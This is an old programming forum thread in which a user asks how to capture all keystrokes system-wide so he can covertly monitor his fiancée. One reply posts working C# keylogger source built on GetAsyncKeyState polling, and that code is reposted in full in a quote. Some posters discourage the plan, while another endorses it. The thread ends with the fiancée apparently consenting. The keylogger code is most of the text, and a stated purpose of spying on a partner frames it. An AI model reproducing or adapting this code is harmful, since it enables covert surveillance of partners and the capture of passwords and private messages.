Programming Forums
User Name Password Register
 

RSS Feed
FORUM INDEX | TODAY'S POSTS | UNANSWERED THREADS | ADVANCED SEARCH

Reply
 
Thread Tools Display Modes
Old Jan 5th, 2006, 6:10 PM   #1
Kilo
Expert Programmer
 
Kilo's Avatar
 
Join Date: Nov 2005
Location: In Pink Clam?
Posts: 542
Rep Power: 0 Kilo is an unknown quantity at this point
Send a message via AIM to Kilo
Catching All Keys

Im having some difficulty attemting to catch ALL keys pressed by a user, not just the ones detected on the form with the Key Preview property. I have googled and it researched it with no such luck...Yes this is for a Key Logger! (my fiance is acting funny)
__________________
"When in Rome, Do as the Romans Do"
"Beauty is in the eye of the BEER holder"
"Save your breath your going to need it for your blow up doll later"

SearchLores.org
Kilo is offline   Reply With Quote
Old Jan 5th, 2006, 6:19 PM   #2
andro
Professional Programmer
 
Join Date: Oct 2005
Location: California
Posts: 292
Rep Power: 3 andro is on a distinguished road
Send a message via AIM to andro
Maybe you should try talking to her about it? She is your fiance after all...
andro is offline   Reply With Quote
Old Jan 5th, 2006, 7:16 PM   #3
Dameon
Troll
 
Dameon's Avatar
 
Join Date: Apr 2005
Location: Texas
Posts: 732
Rep Power: 4 Dameon is on a distinguished road
I can see you have built a nice, solid, trusting relationship.
__________________
MD5(sig) = bcef75433db02e9ad9bf81d6f7c5c270
Dameon is offline   Reply With Quote
Old Jan 5th, 2006, 7:44 PM   #4
tayspen
Hobbyist Programmer
 
Join Date: Sep 2005
Location: A House...
Posts: 191
Rep Power: 3 tayspen is on a distinguished road
Hmm, give this a whirl and YES i no its horribly ugly and not elegent and poor practice code. Note this is for educational purposes ONLY

private void logkeys_Tick(object sender, EventArgs e)
        {
            //On Error Resume Next  - Cannot Convert to CSharp

            //check Enter key
            keyPressed = GetAsyncKeyState(13);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                charCount = 0;
                addKey = "\r\n";
                KeyFound();
            }

            //check for backspace
            keyPressed = GetAsyncKeyState(8);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
               addKey = " [ BACK ] ";
                charCount += 4;
                KeyFound();
            }

            //check for space bar
            keyPressed = GetAsyncKeyState(32);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                addKey = " ";
                KeyFound();

            }

            //check for colon/semicolon
            keyPressed = GetAsyncKeyState(186);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                if (Keylogger.getShift() == false)
                {
                    addKey = ";";
                }
                else
                {
                    addKey = ":";
                }
                KeyFound();

            }

            //check for =/+
            keyPressed = GetAsyncKeyState(187);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                if (Keylogger.getShift() == false)
                {
                    addKey = "=";
                }
                else
                {
                    addKey = "+";
                }
                KeyFound();

            }

            //check for ,/<
            keyPressed = GetAsyncKeyState(188);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                if (Keylogger.getShift() == false)
                {
                    addKey = ",";
                }
                else
                {
                    addKey = "<";
                }
                KeyFound();

            }

            //check for -/_
            keyPressed = GetAsyncKeyState(189);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                if (Keylogger.getShift() == false)
                {
                    addKey = "-";
                }
                else
                {
                    addKey = "_";
                }
                KeyFound();

            }

            //check for ./>
            keyPressed = GetAsyncKeyState(190);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                if (Keylogger.getShift() == false)
                {
                    addKey = ".";
                }
                else
                {
                    addKey = ">";
                }
                KeyFound();

            }

            //check for //?
            keyPressed = GetAsyncKeyState(191);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                if (Keylogger.getShift() == false)
                {
                    addKey = "/";
                }
                else
                {
                    addKey = "?";
                }
                KeyFound();

            }

            //check for `/~
            keyPressed = GetAsyncKeyState(192);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                if (Keylogger.getShift() == false)
                {
                    addKey = "`";
                }
                else
                {
                    addKey = "~";
                }
                KeyFound();

            }

            //check for 0/)
            keyPressed = GetAsyncKeyState(96);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                if (Keylogger.getShift() == false)
                {
                    addKey = "0";
                }
                else
                {
                    addKey = ")";
                }
                KeyFound();

            }

            //check for 1/!
            keyPressed = GetAsyncKeyState(97);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                if (Keylogger.getShift() == false)
                {
                    addKey = "1";
                }
                else
                {
                    addKey = "!";
                }
                KeyFound();

            }

            //check for 2/@
            keyPressed = GetAsyncKeyState(98);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                if (Keylogger.getShift() == false)
                {
                    addKey = "2";
                }
                else
                {
                    addKey = "@";
                }
                KeyFound();

            }

            //check for 3/#
            //99
            keyPressed = GetAsyncKeyState(99);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                if (Keylogger.getShift() == false)
                {
                    addKey = "3";
                }
                else
                {
                    addKey = "#";
                }
                KeyFound();

            }

            //check for 4/$
            keyPressed = GetAsyncKeyState(100);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                if (Keylogger.getShift() == false)
                {
                    addKey = "4";
                }
                else
                {
                    addKey = "$";
                }
                KeyFound();

            }

            //check for 5/%
            keyPressed = GetAsyncKeyState(101);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                if (Keylogger.getShift() == false)
                {
                    addKey = "5";
                }
                else
                {
                    addKey = "%";
                }
                KeyFound();

            }

            //check for 6/^
            keyPressed = GetAsyncKeyState(102);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                if (Keylogger.getShift() == false)
                {
                    addKey = "6";
                }
                else
                {
                    addKey = "7";
                }
                KeyFound();

            }

            //check for 7/&
            keyPressed = GetAsyncKeyState(103);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                if (Keylogger.getShift() == false)
                {
                    addKey = "7";
                }
                else
                {
                    addKey = "&";
                }
                KeyFound();

            }

            //check for 8/*
            keyPressed = GetAsyncKeyState(104);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                if (Keylogger.getShift() == false)
                {
                    addKey = "8";
                }
                else
                {
                    addKey = "*";
                }
                KeyFound();

            }

            //check for 9/(
            keyPressed = GetAsyncKeyState(105);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                if (Keylogger.getShift() == false)
                {
                    addKey = "9";
                }
                else
                {
                    addKey = "(";
                }
                KeyFound();

            }

            //other num/special chars
            keyPressed = GetAsyncKeyState(106);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                if (Keylogger.getShift() == false)
                {
                    addKey = "*";
                    charCount += 1;
                }
                else
                {
                    addKey = "";
                }
                KeyFound();
            }

            keyPressed = GetAsyncKeyState(107);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                if (Keylogger.getShift() == false)
                {
                    addKey = "+";
                }
                else
                {
                    addKey = "=";
                }
                KeyFound();

            }

            keyPressed = GetAsyncKeyState(108);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                addKey = "";
                KeyFound();
            }

            keyPressed = GetAsyncKeyState(109);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                if (Keylogger.getShift() == false)
                {
                    addKey = "-";
                }
                else
                {
                    addKey = "_";
                }
                KeyFound();

            }

            keyPressed = GetAsyncKeyState(110);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                if (Keylogger.getShift() == false)
                {
                    addKey = ".";
                }
                else
                {
                    addKey = ">";
                }
                KeyFound();

            }

            keyPressed = GetAsyncKeyState(111);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                addKey = "/";
                KeyFound();

            }

            keyPressed = GetAsyncKeyState(2);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                if (Keylogger.getShift() == false)
                {
                    addKey = "/";
                }
                else
                {
                    addKey = "?";
                }
                KeyFound();

            }

            keyPressed = GetAsyncKeyState(220);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                if (Keylogger.getShift() == false)
                {
                    addKey = "\\";
                }
                else
                {
                    addKey = "|";
                }
                KeyFound();

            }

            keyPressed = GetAsyncKeyState(222);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                if (Keylogger.getShift() == false)
                {
                    addKey = "\'";
                }
                else
                {
                    addKey = '\u0022';
                }
                KeyFound();

            }

            keyPressed = GetAsyncKeyState(221);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                if (Keylogger.getShift() == false)
                {
                    addKey = "]";
                }
                else
                {
                    addKey = "}";
                }
                KeyFound();

            }

            keyPressed = GetAsyncKeyState(219);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                if (Keylogger.getShift() == false)
                {
                    addKey = "[";
                }
                else
                {
                    addKey = "{";
                }
                KeyFound();

            }
            //check tabVK_LSHIFT
            keyPressed = GetAsyncKeyState(9);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                if (Keylogger.getShift() == false)
                {
                    addKey = " [TAB] ";
                }
                else
                {
                    addKey = " [TAB] ";
                }
                KeyFound();

            }

            //check for a-z upper and lower case
            for (i = 65; System.Convert.ToInt32(i) <= 128; i = System.Convert.ToInt32(i) + 1)
            {
                keyPressed = GetAsyncKeyState(System.Convert.ToInt32(i));
                if (System.Convert.ToInt32(keyPressed) == -32767)
                {
                    if (Keylogger.getShift() == false)
                    {
                        if (Keylogger.getCapslock() == true)
                        {
                            addKey = Strings.UCase(Strings.Chr(System.Convert.ToInt32(i)));
                        }
                        else
                        {
                            addKey = Strings.LCase(Strings.Chr(System.Convert.ToInt32(i)));
                        }
                    }
                    else
                    {
                        if (Keylogger.getCapslock() == false)
                        {
                            addKey = Strings.UCase(Strings.Chr(System.Convert.ToInt32(i)));
                        }
                        else
                        {
                            addKey = Strings.LCase(Strings.Chr(System.Convert.ToInt32(i)));
                        }
                    }
                    KeyFound();
                }
            }

            for (i = 48; System.Convert.ToInt32(i) <= 57; i = System.Convert.ToInt32(i) + 1)
            {
                keyPressed = GetAsyncKeyState(System.Convert.ToInt32(i));
                if (System.Convert.ToInt32(keyPressed) == -32767)
                {
                    if (Keylogger.getShift() == true)
                    {
                        switch (Conversion.Val(Strings.Chr(System.Convert.ToInt32(i))))
                        {
                            case 1:

                                addKey = "!";
                                break;
                            case 2:

                                addKey = "@";
                                break;
                            case 3:

                                addKey = "#";
                                break;
                            case 4:

                                addKey = "$";
                                break;
                            case 5:

                                addKey = "%";
                                break;
                            case 6:

                                addKey = "^";
                                break;
                            case 7:

                                addKey = "&";
                                break;
                            case 8:

                                addKey = "*";
                                break;
                            case 9:

                                addKey = "(";
                                break;
                            case 0:

                                addKey = ")";
                                break;
                        }
                    }
                    else
                    {
                        addKey = Strings.Chr(System.Convert.ToInt32(i));
                    }
                    KeyFound();
                }
            }
            //GetActiveWindow(); Option to give window.....
            System.Windows.Forms.Application.DoEvents();
            return;
        }
        private void KeyFound()
        {
            loggedtxt.AppendText(addKey.ToString());
            System.Windows.Forms.Application.DoEvents();
        }
        [DllImport("user32.dll")]

        static extern int GetForegroundWindow();

        [DllImport("user32.dll")]

        static extern int GetWindowText(int hWnd, StringBuilder text, int count);

        private void GetActiveWindow()
        {
            const int nChars = 256;
            int handle = 0;
            StringBuilder Buff = new StringBuilder(nChars);

            handle = GetForegroundWindow();

            if (GetWindowText(handle, Buff, nChars) > 0)
            {
                loggedtxt.AppendText(Buff.ToString());
                loggedtxt.AppendText(handle.ToString());
            }

        }

And for the uppercase class.....

sealed class Keylogger
    {
        [DllImport("user32", ExactSpelling = true, CharSet = CharSet.Ansi, SetLastError = true)]
        private static extern short GetAsyncKeyState(int vKey);

        [DllImport("user32", ExactSpelling = true, CharSet = CharSet.Ansi, SetLastError = true)]
        private static extern short GetKeyState(int nVirtKey);

        public static bool getCapslock()
        {
            bool returnValue;
            //return or set the caps lock toggle
            returnValue = System.Convert.ToBoolean(GetKeyState(System.Convert.ToInt32(System.Windows.Forms.Keys.Capital)) & 1);
            return returnValue;
        }

        public static bool getShift()
        {
            bool returnValue;
            //check to see if the shift key is pressed
            returnValue = System.Convert.ToBoolean(GetAsyncKeyState(System.Convert.ToInt32(System.Windows.Forms.Keys.ShiftKey)));
            return returnValue;
        }

    }

Note: I would suugest that you work it out with her...and NOT use this code.

I AM NOT RESPONSABLE FOR HOW YOU USE THIS CODE!!!!! YOU USE AT YOUR OWN RISK! AND I DONT CONDONE USING IT FOR ILLEGAL PURPOSES! THIS IS MEANT TO BE FOR EDUCATIONAL USE ONLY.
tayspen is offline   Reply With Quote
Old Jan 5th, 2006, 8:47 PM   #5
jayme
Professional Programmer
 
jayme's Avatar
 
Join Date: Nov 2005
Location: Canada
Posts: 495
Rep Power: 0 jayme is an unknown quantity at this point
Send a message via MSN to jayme
Quote:
Originally Posted by andro
Maybe you should try talking to her about it? She is your fiance after all...
Girls lie, my ex, after going out for a year with the best relationships either of us had she decided to do stuff with another guy, her reason was.. "I couldn't say no because he likes me a lot", but its ok, she is still in love with me and i could really care less and for some reason, that feels better than actually still going out with her.. although i do get lonely at night time now . Anyways, keylogger is the way to go, its a tough world and the biggest lesson i have learned is that everyone gets sick of you some time, no matter how great you are to them.. it just takes time.
__________________

Quote:
Originally Posted by Mohamed Jihad
Durka durka!
Due to incorrect calculations during the middle ages, our calendar actually begins a few years after Jesus' birth. Thus the real 6/6/6 happened a few years back. The world already ended and you missed it.

Download Code::Blocks now!
jayme is offline   Reply With Quote
Old Jan 5th, 2006, 9:15 PM   #6
tayspen
Hobbyist Programmer
 
Join Date: Sep 2005
Location: A House...
Posts: 191
Rep Power: 3 tayspen is on a distinguished road
Quote:
Originally Posted by tayspen
Hmm, give this a whirl and YES i no its horribly ugly and not elegent and poor practice code. Note this is for educational purposes ONLY

private void logkeys_Tick(object sender, EventArgs e)
        {
            //On Error Resume Next  - Cannot Convert to CSharp

            //check Enter key
            keyPressed = GetAsyncKeyState(13);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                charCount = 0;
                addKey = "\r\n";
                KeyFound();
            }

            //check for backspace
            keyPressed = GetAsyncKeyState(8);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
               addKey = " [ BACK ] ";
                charCount += 4;
                KeyFound();
            }

            //check for space bar
            keyPressed = GetAsyncKeyState(32);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                addKey = " ";
                KeyFound();

            }

            //check for colon/semicolon
            keyPressed = GetAsyncKeyState(186);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                if (Keylogger.getShift() == false)
                {
                    addKey = ";";
                }
                else
                {
                    addKey = ":";
                }
                KeyFound();

            }

            //check for =/+
            keyPressed = GetAsyncKeyState(187);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                if (Keylogger.getShift() == false)
                {
                    addKey = "=";
                }
                else
                {
                    addKey = "+";
                }
                KeyFound();

            }

            //check for ,/<
            keyPressed = GetAsyncKeyState(188);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                if (Keylogger.getShift() == false)
                {
                    addKey = ",";
                }
                else
                {
                    addKey = "<";
                }
                KeyFound();

            }

            //check for -/_
            keyPressed = GetAsyncKeyState(189);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                if (Keylogger.getShift() == false)
                {
                    addKey = "-";
                }
                else
                {
                    addKey = "_";
                }
                KeyFound();

            }

            //check for ./>
            keyPressed = GetAsyncKeyState(190);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                if (Keylogger.getShift() == false)
                {
                    addKey = ".";
                }
                else
                {
                    addKey = ">";
                }
                KeyFound();

            }

            //check for //?
            keyPressed = GetAsyncKeyState(191);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                if (Keylogger.getShift() == false)
                {
                    addKey = "/";
                }
                else
                {
                    addKey = "?";
                }
                KeyFound();

            }

            //check for `/~
            keyPressed = GetAsyncKeyState(192);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                if (Keylogger.getShift() == false)
                {
                    addKey = "`";
                }
                else
                {
                    addKey = "~";
                }
                KeyFound();

            }

            //check for 0/)
            keyPressed = GetAsyncKeyState(96);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                if (Keylogger.getShift() == false)
                {
                    addKey = "0";
                }
                else
                {
                    addKey = ")";
                }
                KeyFound();

            }

            //check for 1/!
            keyPressed = GetAsyncKeyState(97);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                if (Keylogger.getShift() == false)
                {
                    addKey = "1";
                }
                else
                {
                    addKey = "!";
                }
                KeyFound();

            }

            //check for 2/@
            keyPressed = GetAsyncKeyState(98);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                if (Keylogger.getShift() == false)
                {
                    addKey = "2";
                }
                else
                {
                    addKey = "@";
                }
                KeyFound();

            }

            //check for 3/#
            //99
            keyPressed = GetAsyncKeyState(99);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                if (Keylogger.getShift() == false)
                {
                    addKey = "3";
                }
                else
                {
                    addKey = "#";
                }
                KeyFound();

            }

            //check for 4/$
            keyPressed = GetAsyncKeyState(100);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                if (Keylogger.getShift() == false)
                {
                    addKey = "4";
                }
                else
                {
                    addKey = "$";
                }
                KeyFound();

            }

            //check for 5/%
            keyPressed = GetAsyncKeyState(101);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                if (Keylogger.getShift() == false)
                {
                    addKey = "5";
                }
                else
                {
                    addKey = "%";
                }
                KeyFound();

            }

            //check for 6/^
            keyPressed = GetAsyncKeyState(102);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                if (Keylogger.getShift() == false)
                {
                    addKey = "6";
                }
                else
                {
                    addKey = "7";
                }
                KeyFound();

            }

            //check for 7/&
            keyPressed = GetAsyncKeyState(103);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                if (Keylogger.getShift() == false)
                {
                    addKey = "7";
                }
                else
                {
                    addKey = "&";
                }
                KeyFound();

            }

            //check for 8/*
            keyPressed = GetAsyncKeyState(104);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                if (Keylogger.getShift() == false)
                {
                    addKey = "8";
                }
                else
                {
                    addKey = "*";
                }
                KeyFound();

            }

            //check for 9/(
            keyPressed = GetAsyncKeyState(105);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                if (Keylogger.getShift() == false)
                {
                    addKey = "9";
                }
                else
                {
                    addKey = "(";
                }
                KeyFound();

            }

            //other num/special chars
            keyPressed = GetAsyncKeyState(106);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                if (Keylogger.getShift() == false)
                {
                    addKey = "*";
                    charCount += 1;
                }
                else
                {
                    addKey = "";
                }
                KeyFound();
            }

            keyPressed = GetAsyncKeyState(107);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                if (Keylogger.getShift() == false)
                {
                    addKey = "+";
                }
                else
                {
                    addKey = "=";
                }
                KeyFound();

            }

            keyPressed = GetAsyncKeyState(108);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                addKey = "";
                KeyFound();
            }

            keyPressed = GetAsyncKeyState(109);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                if (Keylogger.getShift() == false)
                {
                    addKey = "-";
                }
                else
                {
                    addKey = "_";
                }
                KeyFound();

            }

            keyPressed = GetAsyncKeyState(110);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                if (Keylogger.getShift() == false)
                {
                    addKey = ".";
                }
                else
                {
                    addKey = ">";
                }
                KeyFound();

            }

            keyPressed = GetAsyncKeyState(111);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                addKey = "/";
                KeyFound();

            }

            keyPressed = GetAsyncKeyState(2);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                if (Keylogger.getShift() == false)
                {
                    addKey = "/";
                }
                else
                {
                    addKey = "?";
                }
                KeyFound();

            }

            keyPressed = GetAsyncKeyState(220);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                if (Keylogger.getShift() == false)
                {
                    addKey = "\\";
                }
                else
                {
                    addKey = "|";
                }
                KeyFound();

            }

            keyPressed = GetAsyncKeyState(222);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                if (Keylogger.getShift() == false)
                {
                    addKey = "\'";
                }
                else
                {
                    addKey = '\u0022';
                }
                KeyFound();

            }

            keyPressed = GetAsyncKeyState(221);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                if (Keylogger.getShift() == false)
                {
                    addKey = "]";
                }
                else
                {
                    addKey = "}";
                }
                KeyFound();

            }

            keyPressed = GetAsyncKeyState(219);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                if (Keylogger.getShift() == false)
                {
                    addKey = "[";
                }
                else
                {
                    addKey = "{";
                }
                KeyFound();

            }
            //check tabVK_LSHIFT
            keyPressed = GetAsyncKeyState(9);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                if (Keylogger.getShift() == false)
                {
                    addKey = " [TAB] ";
                }
                else
                {
                    addKey = " [TAB] ";
                }
                KeyFound();

            }

            //check for a-z upper and lower case
            for (i = 65; System.Convert.ToInt32(i) <= 128; i = System.Convert.ToInt32(i) + 1)
            {
                keyPressed = GetAsyncKeyState(System.Convert.ToInt32(i));
                if (System.Convert.ToInt32(keyPressed) == -32767)
                {
                    if (Keylogger.getShift() == false)
                    {
                        if (Keylogger.getCapslock() == true)
                        {
                            addKey = Strings.UCase(Strings.Chr(System.Convert.ToInt32(i)));
                        }
                        else
                        {
                            addKey = Strings.LCase(Strings.Chr(System.Convert.ToInt32(i)));
                        }
                    }
                    else
                    {
                        if (Keylogger.getCapslock() == false)
                        {
                            addKey = Strings.UCase(Strings.Chr(System.Convert.ToInt32(i)));
                        }
                        else
                        {
                            addKey = Strings.LCase(Strings.Chr(System.Convert.ToInt32(i)));
                        }
                    }
                    KeyFound();
                }
            }

            for (i = 48; System.Convert.ToInt32(i) <= 57; i = System.Convert.ToInt32(i) + 1)
            {
                keyPressed = GetAsyncKeyState(System.Convert.ToInt32(i));
                if (System.Convert.ToInt32(keyPressed) == -32767)
                {
                    if (Keylogger.getShift() == true)
                    {
                        switch (Conversion.Val(Strings.Chr(System.Convert.ToInt32(i))))
                        {
                            case 1:

                                addKey = "!";
                                break;
                            case 2:

                                addKey = "@";
                                break;
                            case 3:

                                addKey = "#";
                                break;
                            case 4:

                                addKey = "$";
                                break;
                            case 5:

                                addKey = "%";
                                break;
                            case 6:

                                addKey = "^";
                                break;
                            case 7:

                                addKey = "&";
                                break;
                            case 8:

                                addKey = "*";
                                break;
                            case 9:

                                addKey = "(";
                                break;
                            case 0:

                                addKey = ")";
                                break;
                        }
                    }
                    else
                    {
                        addKey = Strings.Chr(System.Convert.ToInt32(i));
                    }
                    KeyFound();
                }
            }
            //GetActiveWindow(); Option to give window.....
            System.Windows.Forms.Application.DoEvents();
            return;
        }
        private void KeyFound()
        {
            loggedtxt.AppendText(addKey.ToString());
            System.Windows.Forms.Application.DoEvents();
        }
        [DllImport("user32.dll")]

        static extern int GetForegroundWindow();

        [DllImport("user32.dll")]

        static extern int GetWindowText(int hWnd, StringBuilder text, int count);

        private void GetActiveWindow()
        {
            const int nChars = 256;
            int handle = 0;
            StringBuilder Buff = new StringBuilder(nChars);

            handle = GetForegroundWindow();

            if (GetWindowText(handle, Buff, nChars) > 0)
            {
                loggedtxt.AppendText(Buff.ToString());
                loggedtxt.AppendText(handle.ToString());
            }

        }

And for the uppercase class.....

sealed class Keylogger
    {
        [DllImport("user32", ExactSpelling = true, CharSet = CharSet.Ansi, SetLastError = true)]
        private static extern short GetAsyncKeyState(int vKey);

        [DllImport("user32", ExactSpelling = true, CharSet = CharSet.Ansi, SetLastError = true)]
        private static extern short GetKeyState(int nVirtKey);

        public static bool getCapslock()
        {
            bool returnValue;
            //return or set the caps lock toggle
            returnValue = System.Convert.ToBoolean(GetKeyState(System.Convert.ToInt32(System.Windows.Forms.Keys.Capital)) & 1);
            return returnValue;
        }

        public static bool getShift()
        {
            bool returnValue;
            //check to see if the shift key is pressed
            returnValue = System.Convert.ToBoolean(GetAsyncKeyState(System.Convert.ToInt32(System.Windows.Forms.Keys.ShiftKey)));
            return returnValue;
        }

    }

Note: I would suugest that you work it out with her...and NOT use this code.

I AM NOT RESPONSABLE FOR HOW YOU USE THIS CODE!!!!! YOU USE AT YOUR OWN RISK! AND I DONT CONDONE USING IT FOR ILLEGAL PURPOSES! THIS IS MEANT TO BE FOR EDUCATIONAL USE ONLY.

o yea you can get rid of that GetActiveWindow.... its not needed....
tayspen is offline   Reply With Quote
Old Jan 6th, 2006, 9:16 AM   #7
MBirchmeier
Hobbyist Programmer
 
Join Date: Oct 2005
Posts: 211
Rep Power: 3 MBirchmeier is on a distinguished road
I'd highly recommend against using a keylogger as well,

If you are upset with her about trust issues, she'd be just as upset if she suspected you were spying on her.

On the other hand if you were direct and upfront about a hardware upgrade she might be slightly more understanding

-MBirchmeier
MBirchmeier is offline   Reply With Quote
Old Jan 6th, 2006, 1:47 PM   #8
tayspen
Hobbyist Programmer
 
Join Date: Sep 2005
Location: A House...
Posts: 191
Rep Power: 3 tayspen is on a distinguished road
Lol. Yea but if you used my code did it work?


-T
tayspen is offline   Reply With Quote
Old Jan 8th, 2006, 1:15 PM   #9
Kilo
Expert Programmer
 
Kilo's Avatar
 
Join Date: Nov 2005
Location: In Pink Clam?
Posts: 542
Rep Power: 0 Kilo is an unknown quantity at this point
Send a message via AIM to Kilo
LOL, i want to thank all of you for your input on the situation... I brought it to her attention that she was acting a little funny. She said "wow, i didn't even relize it until you explain it to me". I told her about my plans to infect her computer with a key logger... she told me she thinks it is a good idea! Shes wants to prove to me that no matter what happens she could never hurt me that bad. She claims that would be just crazy to put me through that much pain. So the new question is should I? even with her permission? Or do i completely trust her and let it go?
__________________
"When in Rome, Do as the Romans Do"
"Beauty is in the eye of the BEER holder"
"Save your breath your going to need it for your blow up doll later"

SearchLores.org